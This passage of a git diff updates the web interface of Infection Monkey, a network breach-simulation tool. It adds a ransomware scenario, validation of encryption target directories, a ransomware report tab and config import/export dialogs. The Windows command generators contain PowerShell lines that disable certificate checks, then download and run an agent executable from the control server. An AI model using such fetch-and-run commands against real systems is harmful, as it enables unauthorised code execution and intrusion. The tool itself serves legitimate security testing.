+ ); + } +} + +export default TextBox; diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UISchemaManipulators.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/UISchemaManipulators.tsx new file mode 100644 index 000000000..637a128f3 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UISchemaManipulators.tsx @@ -0,0 +1,21 @@ + +const manipulatorList = [ransomwareDirManipulator] + +function applyUiSchemaManipulators(selectedSection, + formData, + uiSchema) { + for(let i = 0; i < manipulatorList.length; i++){ + manipulatorList[i](selectedSection, formData, uiSchema); + } +} + +function ransomwareDirManipulator(selectedSection, + formData, + uiSchema) { + if (selectedSection === 'ransomware'){ + uiSchema.encryption.directories = + {'ui:disabled': !formData['encryption']['enabled']}; + } +} + +export default applyUiSchemaManipulators; diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index ac9104817..38e7ad244 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -1,7 +1,8 @@ import AdvancedMultiSelect from '../ui-components/AdvancedMultiSelect'; import PbaInput from './PbaInput'; import {API_PBA_LINUX, API_PBA_WINDOWS} from '../pages/ConfigurePage'; -import FieldWithInfo from './FieldWithInfo'; +import InfoBox from './InfoBox'; +import TextBox from './TextBox'; export default function UiSchema(props) { const UiSchema = { @@ -17,8 +18,8 @@ export default function UiSchema(props) { basic_network: { 'ui:order': ['scope', 'network_analysis'], scope: { - blocked_ips: { - 'ui:field': FieldWithInfo + info_box: { + 'ui:field': InfoBox }, subnet_scan_list: { format: 'ip-list' @@ -71,6 +72,21 @@ export default function UiSchema(props) { } } }, + ransomware: { + encryption: { + info_box: { + 'ui:field': InfoBox + }, + directories: { + // Directory inputs are dynamically hidden + }, + text_box: { + 'ui:field': TextBox + }, + enabled: {'ui:widget': 'hidden'} + }, + other_behaviors : {'ui:widget': 'hidden'} + }, internal: { general: { started_on_island: {'ui:widget': 'hidden'} diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeConfigOptionsConfirmationModal.js similarity index 68% rename from monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js rename to monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeConfigOptionsConfirmationModal.js index d21bf5601..9593aeb38 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeConfigOptionsConfirmationModal.js @@ -1,15 +1,18 @@ import React from 'react'; import {Modal, Button} from 'react-bootstrap'; -function UnsafeOptionsConfirmationModal(props) { +function UnsafeConfigOptionsConfirmationModal(props) { return ( - +

Warning

- Some of the selected options could cause systems to become unstable or malfunction. + Some of the configuration options selected could cause systems + to become unstable or malfunction.

Are you sure you want to submit the selected settings?

@@ -33,4 +36,4 @@ function UnsafeOptionsConfirmationModal(props) { ) } -export default UnsafeOptionsConfirmationModal; +export default UnsafeConfigOptionsConfirmationModal; diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationErrorMessages.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationErrorMessages.js index a5782948a..3c7280f97 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationErrorMessages.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationErrorMessages.js @@ -1,4 +1,6 @@ -import {IP, IP_RANGE} from './ValidationFormats'; +import {IP, IP_RANGE, VALID_RANSOMWARE_TARGET_PATH_LINUX, VALID_RANSOMWARE_TARGET_PATH_WINDOWS} from './ValidationFormats'; + +let invalidDirMessage = 'Invalid directory. Path should be absolute or begin with an environment variable.'; export default function transformErrors(errors) { return errors.map(error => { @@ -8,6 +10,10 @@ export default function transformErrors(errors) { error.message = 'Invalid IP range, refer to description for valid examples.' } else if (error.name === 'format' && error.params.format === IP) { error.message = 'Invalid IP.' + } else if (error.name === 'format' && error.params.format === VALID_RANSOMWARE_TARGET_PATH_LINUX) { + error.message = invalidDirMessage + } else if (error.name === 'format' && error.params.format === VALID_RANSOMWARE_TARGET_PATH_WINDOWS) { + error.message = invalidDirMessage } return error; }); diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js index ff0b4706b..70d9f82fd 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js @@ -2,12 +2,31 @@ const ipRegex = '((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0 const cidrNotationRegex = '([0-9]|1[0-9]|2[0-9]|3[0-2])' const hostnameRegex = '^([A-Za-z0-9]*[A-Za-z]+[A-Za-z0-9]*.?)*([A-Za-z0-9]*[A-Za-z]+[A-Za-z0-9]*)$' + +const linuxAbsolutePathRegex = /^\// // path starts with `/` +const linuxPathStartsWithEnvVariableRegex = /^\$/ // path starts with `$` +const linuxPathStartsWithTildeRegex = /^~/ // path starts with `~` + + +const windowsAbsolutePathRegex = /^([A-Za-z]:(\\|\/))/ // path starts like `C:\` OR `C:/` +const windowsEnvVarNonNumeric = '[A-Za-z#\\$\'\\(\\)\\*\\+,\\-\\.\\?@\\[\\]_`\\{\\}~ ]' +const windowsPathStartsWithEnvVariableRegex = new RegExp( + `^%(${windowsEnvVarNonNumeric}+(${windowsEnvVarNonNumeric}|\\d)*)%` +) // path starts like `$` OR `%abc%` +const windowsUncPathRegex = /^\\{2}/ // Path starts like `\\` +const emptyRegex = /^$/ + + export const IP_RANGE = 'ip-range'; export const IP = 'ip'; +export const VALID_RANSOMWARE_TARGET_PATH_LINUX = 'valid-ransomware-target-path-linux' +export const VALID_RANSOMWARE_TARGET_PATH_WINDOWS = 'valid-ransomware-target-path-windows' export const formValidationFormats = { [IP_RANGE]: buildIpRangeRegex(), - [IP]: buildIpRegex() + [IP]: buildIpRegex(), + [VALID_RANSOMWARE_TARGET_PATH_LINUX]: buildValidRansomwarePathLinuxRegex(), + [VALID_RANSOMWARE_TARGET_PATH_WINDOWS]: buildValidRansomwarePathWindowsRegex() }; function buildIpRangeRegex(){ @@ -22,3 +41,21 @@ function buildIpRangeRegex(){ function buildIpRegex(){ return new RegExp('^'+ipRegex+'$') } + +function buildValidRansomwarePathLinuxRegex() { + return new RegExp([ + emptyRegex.source, + linuxAbsolutePathRegex.source, + linuxPathStartsWithEnvVariableRegex.source, + linuxPathStartsWithTildeRegex.source + ].join('|')) +} + +function buildValidRansomwarePathWindowsRegex() { + return new RegExp([ + emptyRegex.source, + windowsAbsolutePathRegex.source, + windowsPathStartsWithEnvVariableRegex.source, + windowsUncPathRegex.source + ].join('|')) +} diff --git a/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx new file mode 100644 index 000000000..d862bb592 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx @@ -0,0 +1,28 @@ +import React from 'react'; +import {Route} from 'react-router-dom'; +import SideNavComponent from '../SideNavComponent.tsx'; +import {Col, Row} from 'react-bootstrap'; + +const SidebarLayoutComponent = ({component: Component, + sideNavShow = true, + sideNavDisabled = false, + completedSteps = null, + defaultReport = '', + sideNavHeader = (<>), + ...other + }) => ( + { + return ( + + {sideNavShow && + + } + + ) + }}/> +) + +export default SidebarLayoutComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/layouts/StandardLayoutComponent.js b/monkey/monkey_island/cc/ui/src/components/layouts/StandardLayoutComponent.js deleted file mode 100644 index 1819f67bb..000000000 --- a/monkey/monkey_island/cc/ui/src/components/layouts/StandardLayoutComponent.js +++ /dev/null @@ -1,15 +0,0 @@ -import React from 'react' -import {Route} from 'react-router-dom' -import SideNavComponent from '../SideNavComponent' -import {Col, Row} from 'react-bootstrap'; - -export const StandardLayoutComponent = ({component: Component, ...rest}) => ( - ( - - - - - - - )}/> -) diff --git a/monkey/monkey_island/cc/ui/src/components/logo/LogoComponent.js b/monkey/monkey_island/cc/ui/src/components/logo/LogoComponent.js new file mode 100644 index 000000000..0fb961bf9 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/logo/LogoComponent.js @@ -0,0 +1,32 @@ +import React from 'react'; +import {Link} from 'react-router-dom'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faExternalLinkAlt} from '@fortawesome/free-solid-svg-icons'; +import {Routes} from '../Main'; +import VersionComponent from './VersionComponent'; + +const guardicoreLogoImage = require('../../images/guardicore-logo.png'); + +function Logo() { + return ( + <> +
+
+ Powered by + + GuardiCore + +
+
+ + Documentation + +
+ License +
+ + + ); +} + +export default Logo; diff --git a/monkey/monkey_island/cc/ui/src/components/side-menu/VersionComponent.js b/monkey/monkey_island/cc/ui/src/components/logo/VersionComponent.js similarity index 100% rename from monkey/monkey_island/cc/ui/src/components/side-menu/VersionComponent.js rename to monkey/monkey_island/cc/ui/src/components/logo/VersionComponent.js diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 4cae9b2bf..f23df62e6 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -1,7 +1,6 @@ import React from 'react'; import Form from 'react-jsonschema-form-bs4'; -import {Col, Modal, Nav, Button} from 'react-bootstrap'; -import FileSaver from 'file-saver'; +import {Button, Col, Modal, Nav} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; import ConfigMatrixComponent from '../attack/ConfigMatrixComponent'; import UiSchema from '../configuration-components/UiSchema'; @@ -11,9 +10,15 @@ import {faExclamationCircle} from '@fortawesome/free-solid-svg-icons/faExclamati import {formValidationFormats} from '../configuration-components/ValidationFormats'; import transformErrors from '../configuration-components/ValidationErrorMessages'; import InternalConfig from '../configuration-components/InternalConfig'; -import UnsafeOptionsConfirmationModal from '../configuration-components/UnsafeOptionsConfirmationModal.js'; +import UnsafeConfigOptionsConfirmationModal + from '../configuration-components/UnsafeConfigOptionsConfirmationModal.js'; import UnsafeOptionsWarningModal from '../configuration-components/UnsafeOptionsWarningModal.js'; import isUnsafeOptionSelected from '../utils/SafeOptionValidator.js'; +import ConfigExportModal from '../configuration-components/ExportConfigModal'; +import ConfigImportModal from '../configuration-components/ImportConfigModal'; +import applyUiSchemaManipulators from '../configuration-components/UISchemaManipulators.tsx'; +import HtmlFieldDescription from '../configuration-components/HtmlFieldDescription.js'; +import CONFIGURATION_TABS_PER_MODE from '../configuration-components/ConfigurationTabs.js'; const ATTACK_URL = '/api/attack'; const CONFIG_URL = '/api/configuration/island'; @@ -24,28 +29,42 @@ class ConfigurePageComponent extends AuthComponent { constructor(props) { super(props); - this.currentSection = 'attack'; - this.currentFormData = {}; this.initialConfig = {}; this.initialAttackConfig = {}; - this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'internal']; + this.currentSection = this.getSectionsOrder()[0]; this.state = { attackConfig: {}, configuration: {}, + currentFormData: {}, importCandidateConfig: null, lastAction: 'none', schema: {}, sections: [], - selectedSection: 'attack', + selectedSection: this.currentSection, showAttackAlert: false, showUnsafeOptionsConfirmation: false, - showUnsafeAttackOptionsWarning: false + showUnsafeAttackOptionsWarning: false, + showConfigExportModal: false, + showConfigImportModal: false }; } + componentDidUpdate() { + if (!this.getSectionsOrder().includes(this.currentSection)) { + this.currentSection = this.getSectionsOrder()[0] + this.setState({selectedSection: this.currentSection}) + } + } + + getSectionsOrder() { + let islandMode = this.props.islandMode ? this.props.islandMode : 'advanced' + return CONFIGURATION_TABS_PER_MODE[islandMode]; + } + setInitialConfig(config) { // Sets a reference to know if config was changed + config['attack'] = {} this.initialConfig = JSON.parse(JSON.stringify(config)); } @@ -56,6 +75,7 @@ class ConfigurePageComponent extends AuthComponent { componentDidMount = () => { let urls = [CONFIG_URL, ATTACK_URL]; + // ??? Why fetch config here and not in `render()`? Promise.all(urls.map(url => this.authFetch(url).then(res => res.json()))) .then(data => { let sections = []; @@ -63,11 +83,14 @@ class ConfigurePageComponent extends AuthComponent { let monkeyConfig = data[0]; this.setInitialConfig(monkeyConfig.configuration); this.setInitialAttackConfig(attackConfig.configuration); - for (let sectionKey of this.sectionsOrder) { + for (let sectionKey of this.getSectionsOrder()) { if (sectionKey === 'attack') { sections.push({key: sectionKey, title: 'ATT&CK'}) } else { - sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title}); + sections.push({ + key: sectionKey, + title: monkeyConfig.schema.properties[sectionKey].title + }); } } this.setState({ @@ -75,7 +98,7 @@ class ConfigurePageComponent extends AuthComponent { configuration: monkeyConfig.configuration, attackConfig: attackConfig.configuration, sections: sections, - selectedSection: 'attack' + currentFormData: monkeyConfig.configuration[this.state.selectedSection] }) }); }; @@ -87,10 +110,8 @@ class ConfigurePageComponent extends AuthComponent { onUnsafeConfirmationContinueClick = () => { this.setState({showUnsafeOptionsConfirmation: false}); - if (this.state.lastAction == 'submit_attempt') { + if (this.state.lastAction === 'submit_attempt') { this.configSubmit(); - } else if (this.state.lastAction == 'import_attempt') { - this.setConfigFromImportCandidate(); } } @@ -98,13 +119,13 @@ class ConfigurePageComponent extends AuthComponent { this.setState({showUnsafeAttackOptionsWarning: false}); } - - updateConfig = (callback=null) => { + updateConfig = (callback = null) => { this.authFetch(CONFIG_URL) .then(res => res.json()) .then(data => { this.setInitialConfig(data.configuration); - this.setState({configuration: data.configuration}, callback); + this.setState({configuration: data.configuration, + currentFormData: data.configuration[this.state.selectedSection]}, callback); }) }; @@ -208,18 +229,46 @@ class ConfigurePageComponent extends AuthComponent { }; onChange = ({formData}) => { - this.currentFormData = formData; + let configuration = this.state.configuration; + if (this.state.selectedSection === 'attack'){ + formData = {}; + } + configuration[this.state.selectedSection] = formData; + this.setState({currentFormData: formData, configuration: configuration}); }; updateConfigSection = () => { let newConfig = this.state.configuration; - if (Object.keys(this.currentFormData).length > 0) { - newConfig[this.currentSection] = this.currentFormData; - this.currentFormData = {}; + + if (Object.keys(this.state.currentFormData).length > 0) { + newConfig[this.currentSection] = this.state.currentFormData; } this.setState({configuration: newConfig, lastAction: 'none'}); }; + renderConfigExportModal = () => { + return ( { + this.setState({showConfigExportModal: false}); + }}/>); + } + + renderConfigImportModal = () => { + return (); + } + + onClose = (importSuccessful) => { + if(importSuccessful === true){ + this.updateConfig(); + this.setState({lastAction: 'import_success', + showConfigImportModal: false}); + + } else { + this.setState({showConfigImportModal: false}); + } + } + renderAttackAlertModal = () => { return ( { this.setState({showAttackAlert: false}) @@ -248,7 +297,7 @@ class ConfigurePageComponent extends AuthComponent { renderUnsafeOptionsConfirmationModal() { return ( - res.json()) .then(res => { + res.configuration['attack'] = {} this.setState({ lastAction: 'reset', schema: res.schema, - configuration: res.configuration + configuration: res.configuration, + currentFormData: res.configuration[this.state.selectedSection] }); this.setInitialConfig(res.configuration); this.props.onStatusChange(); @@ -338,42 +397,9 @@ class ConfigurePageComponent extends AuthComponent { this.authFetch(apiEndpoint, request_options); } - setConfigOnImport = (event) => { - try { - var newConfig = JSON.parse(event.target.result); - } catch (SyntaxError) { - this.setState({lastAction: 'import_failure'}); - return; - } - - this.setState({lastAction: 'import_attempt', importCandidateConfig: newConfig}, - () => { - if (this.canSafelySubmitConfig(newConfig)) { - this.setConfigFromImportCandidate(); - } else { - this.setState({showUnsafeOptionsConfirmation: true}); - } - } - ); - } - - setConfigFromImportCandidate(){ - this.setState({ - configuration: this.state.importCandidateConfig, - lastAction: 'import_success' - }, () => { - this.sendConfig(); - this.setInitialConfig(this.state.importCandidateConfig); - }); - this.currentFormData = {}; - } - exportConfig = () => { this.updateConfigSection(); - const configAsJson = JSON.stringify(this.state.configuration, null, 2); - const configAsBinary = new Blob([configAsJson], {type: 'text/plain;charset=utf-8'}); - - FileSaver.saveAs(configAsBinary, 'monkey.conf'); + this.setState({showConfigExportModal: true}); }; sendConfig() { @@ -395,13 +421,6 @@ class ConfigurePageComponent extends AuthComponent { })); } - importConfig = (event) => { - let reader = new FileReader(); - reader.onload = this.setConfigOnImport; - reader.readAsText(event.target.files[0]); - event.target.value = null; - }; - renderMatrix = () => { return () } else { @@ -481,13 +505,15 @@ class ConfigurePageComponent extends AuthComponent { let content = ''; if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0) { content = this.renderMatrix() - } else if (this.state.selectedSection !== 'attack') { + } else if (this.state.selectedSection !== 'attack' && Object.entries(this.state.configuration).length !== 0) { content = this.renderConfigContent(displayedSchema) } return ( + {this.renderConfigExportModal()} + {this.renderConfigImportModal()} {this.renderAttackAlertModal()} {this.renderUnsafeOptionsConfirmationModal()} {this.renderUnsafeAttackOptionsWarningModal()} @@ -495,21 +521,25 @@ class ConfigurePageComponent extends AuthComponent { {this.renderNav()} {content}
- -
- - -
@@ -526,12 +556,6 @@ class ConfigurePageComponent extends AuthComponent { Configuration saved successfully.
: ''} - {this.state.lastAction === 'import_failure' ? -
- - Failed importing configuration. Invalid config file. -
- : ''} {this.state.lastAction === 'invalid_configuration' ?
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js b/monkey/monkey_island/cc/ui/src/components/pages/GettingStartedPage.js similarity index 84% rename from monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js rename to monkey/monkey_island/cc/ui/src/components/pages/GettingStartedPage.js index b70d0b9f7..5fc910598 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/GettingStartedPage.js @@ -4,9 +4,9 @@ import {Link} from 'react-router-dom'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faPlayCircle} from '@fortawesome/free-regular-svg-icons'; import {faBookOpen, faCogs} from '@fortawesome/free-solid-svg-icons'; -import '../../styles/pages/RunServerPage.scss'; +import '../../styles/pages/GettingStartedPage.scss'; -class RunServerPageComponent extends React.Component { +class GettingStartedPageComponent extends React.Component { constructor(props) { super(props); } @@ -15,12 +15,9 @@ class RunServerPageComponent extends React.Component { return ( -

Welcome to the Monkey Island Server

+ className={'main getting-started-page'}> +

Getting Started

-

- Congratulations! You have successfully set up the Monkey Island server. 👏 👏 -



@@ -31,7 +28,7 @@ class RunServerPageComponent extends React.Component { } } -export default RunServerPageComponent; +export default GettingStartedPageComponent; function HomepageCallToActions() { return ( diff --git a/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx b/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx new file mode 100644 index 000000000..156489c22 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx @@ -0,0 +1,115 @@ +import React from 'react'; +import {Col, Row} from 'react-bootstrap'; +import {Link} from 'react-router-dom'; +import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; +import {faFileCode, faLightbulb} from '@fortawesome/free-solid-svg-icons'; +import '../../styles/pages/LandingPage.scss'; +import IslandHttpClient from "../IslandHttpClient"; + +import ParticleBackground from '../ui-components/ParticleBackground'; +import Logo from "../logo/LogoComponent"; + +const monkeyIcon = require('../../images/monkey-icon.svg') +const infectionMonkey = require('../../images/infection-monkey.svg') + +const LandingPageComponent = (props) => { + + return ( + <> + + + +
+ +
+
+
+
+ + + + + + + ); + + + function ScenarioButtons() { + return ( +
+

Choose a scenario:

+
+ + +
+ { + setScenario('ransomware') + }}> +

Ransomware

+

Simulate ransomware infection in the network.

+ +
+
+ { + setScenario('advanced') + }}> +

Custom

+

Fine tune the simulation to your needs.

+ +
+
+ +
+
+ ); + } + + function setScenario(scenario: string) { + IslandHttpClient.post('/api/island-mode', {'mode': scenario}) + .then(() => { + props.onStatusChange(); + }); + } +} + +function MonkeyInfo() { + return ( + <> +

What is Infection Monkey?

+ Infection Monkey is an open-source security tool for testing a data center's resiliency to + perimeter + breaches and internal server infections. The Monkey uses various methods to propagate across a data center + and reports to this Monkey Island Command and Control server. + + ); +} + +function ScenarioInfo() { + return ( + <> +
+ Check the Infection Monkey documentation hub for more information + on + scenarios + . +
+ + ); +} + +function MonkeyBanner(props) { + return ( +
+ + +
+ ); +} + +export default LandingPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js index 093dba950..7dfd51276 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RegisterPage.js @@ -39,11 +39,12 @@ class RegisterPageComponent extends React.Component { this.auth.attemptNoAuthLogin().then(() => { this.redirectToHome(); }); + } else { + this.setState({ + failed: true, + error: res['error'] + }); } - this.setState({ - failed: true, - error: res['error'] - }); }) } @@ -56,7 +57,7 @@ class RegisterPageComponent extends React.Component { }; redirectToHome = () => { - window.location.href = '/'; + window.location.href = '/landing-page'; }; constructor(props) { diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 4ce777f1e..65707574e 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -3,9 +3,10 @@ import {Route} from 'react-router-dom'; import {Col, Nav} from 'react-bootstrap'; import AuthComponent from '../AuthComponent'; import MustRunMonkeyWarning from '../report-components/common/MustRunMonkeyWarning'; -import AttackReport from '../report-components/AttackReport' -import SecurityReport from '../report-components/SecurityReport' -import ZeroTrustReport from '../report-components/ZeroTrustReport' +import AttackReport from '../report-components/AttackReport'; +import SecurityReport from '../report-components/SecurityReport'; +import ZeroTrustReport from '../report-components/ZeroTrustReport'; +import RansomwareReport from '../report-components/RansomwareReport'; import {extractExecutionStatusFromServerResponse} from '../report-components/common/ExecutionStatus'; import MonkeysStillAliveWarning from '../report-components/common/MonkeysStillAliveWarning'; @@ -14,18 +15,21 @@ class ReportPageComponent extends AuthComponent { constructor(props) { super(props); - this.sectionsOrder = ['security', 'zeroTrust', 'attack']; + this.sections = ['security', 'zeroTrust', 'attack', 'ransomware']; + this.state = { securityReport: {}, attackReport: {}, zeroTrustReport: {}, + ransomwareReport: {}, allMonkeysAreDead: false, runStarted: true, - selectedSection: ReportPageComponent.selectReport(this.sectionsOrder), - sections: [{key: 'security', title: 'Security report'}, + selectedSection: ReportPageComponent.selectReport(this.sections), + orderedSections: [{key: 'security', title: 'Security report'}, {key: 'zeroTrust', title: 'Zero trust report'}, {key: 'attack', title: 'ATT&CK report'}] }; + } static selectReport(reports) { @@ -56,6 +60,13 @@ class ReportPageComponent extends AuthComponent { this.getZeroTrustReportFromServer().then((ztReport) => { this.setState({zeroTrustReport: ztReport}) }); + this.authFetch('/api/report/ransomware') + .then(res => res.json()) + .then(res => { + this.setState({ + ransomwareReport: res + }); + }); } } @@ -120,7 +131,7 @@ class ReportPageComponent extends AuthComponent { history.push(key) }} className={'report-nav'}> - {this.state.sections.map(section => this.renderNavButton(section))} + {this.state.orderedSections.map(section => this.renderNavButton(section))} )}/>) }; @@ -144,12 +155,41 @@ class ReportPageComponent extends AuthComponent { return (); case 'zeroTrust': return (); + case 'ransomware': + return ( + + ); } } + addRansomwareTab() { + let ransomwareTab = {key: 'ransomware', title: 'Ransomware report'}; + if(this.isRansomwareTabMissing(ransomwareTab)){ + if (this.props.islandMode === 'ransomware') { + this.state.orderedSections.splice(0, 0, ransomwareTab); + } + else { + this.state.orderedSections.push(ransomwareTab); + } + } + } + + isRansomwareTabMissing(ransomwareTab) { + return ( + this.props.islandMode !== undefined && + !this.state.orderedSections.some(tab => + (tab.key === ransomwareTab.key + && tab.title === ransomwareTab.title) + )); + } + render() { let content; + this.addRansomwareTab(); + if (this.state.runStarted) { content = this.getReportContent(); } else { diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js index 2a27c5be3..b87c118f9 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunMonkeyPage.js @@ -17,7 +17,7 @@ class RunMonkeyPageComponent extends AuthComponent { Go ahead and run the monkey! (Or configure the monkey to fine tune its behavior)

- + ); } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js index eba4cf0f3..a1c3cb491 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOnAWS/AWSRunOptions.js @@ -56,7 +56,7 @@ const getContents = (props) => { // update existing state, not run-over let prevRes = result; for (let key in result) { - if (result.hasOwnProperty(key)) { + if (Object.prototype.hasOwnProperty.call(result, key)) { prevRes[key] = result[key]; } } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js index 3a43f1a44..1cc2aed7b 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js @@ -27,7 +27,7 @@ function RunOptions(props) { .then(res => { let commandServers = res.configuration.internal.island_server.command_servers; let ipAddresses = commandServers.map(ip => { - return ip.split(":", 1); + return ip.split(':', 1); }); setIps(ipAddresses); setInitialized(true); @@ -56,7 +56,11 @@ function RunOptions(props) { return InlineSelection(defaultContents, newProps); } - function defaultContents() { + function shouldShowScoutsuite(islandMode){ + return islandMode !== 'ransomware'; + } + + function defaultContents(props) { return ( <> - - } + {shouldShowScoutsuite(props.islandMode) && { setComponent(CloudOptions, {ips: ips, setComponent: setComponent}) }}/> + } ); } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_cmd.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_cmd.js index 1f66740f6..8afc50dd0 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_cmd.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_cmd.js @@ -4,7 +4,7 @@ import {OS_TYPES} from '../utils/OsTypes'; export default function generateLocalWindowsCmd(ip, osType, username) { let bitText = osType === OS_TYPES.WINDOWS_32 ? '32' : '64'; let command = `powershell [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; ` - + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/ ` + + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/` + `monkey-windows-${bitText}.exe','.\\monkey.exe'); ` + `;Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js index 7244615ed..aa9a96a17 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js @@ -4,7 +4,7 @@ import {OS_TYPES} from '../utils/OsTypes'; export default function generateLocalWindowsPowershell(ip, osType, username) { let bitText = osType === OS_TYPES.WINDOWS_32 ? '32' : '64'; let command = `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; ` - + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/ ` + + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/` + `monkey-windows-${bitText}.exe','.\\monkey.exe'); ` + `;Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js index c536146bf..84b84d6f7 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/StartOverPage.js @@ -38,11 +38,11 @@ class StartOverPageComponent extends AuthComponent { - +

Start Over

